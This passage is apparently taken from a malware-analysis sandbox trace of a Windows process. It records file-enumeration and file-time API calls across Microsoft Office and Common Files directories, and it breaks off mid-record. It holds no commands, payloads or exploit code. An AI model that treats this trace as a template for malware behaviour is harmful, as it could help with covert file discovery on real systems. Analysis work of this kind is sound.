ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0056.657] GetLastError () returned 0x12 [0056.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0056.657] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0056.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.657] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0056.657] GetLastError () returned 0x12 [0056.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf971e8) returned 1 [0056.657] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0056.657] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf970e0) returned 1 [0056.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96bb8) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0056.658] GetLastError () returned 0x12 [0056.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0056.658] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0056.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0056.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.658] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0056.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0056.658] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.658] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0056.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0056.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0056.659] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0056.659] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.659] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0056.659] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.659] NtClose (Handle=0x184) returned 0x0 [0056.659] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0056.659] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.659] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.659] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0056.659] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.659] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ebe0 [0056.659] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0056.660] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.660] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ece8 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e0a0 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9edf0 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0056.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e0c0 [0056.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9eef8 [0056.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0056.662] GetLastError () returned 0x12 [0056.662] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0056.662] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, 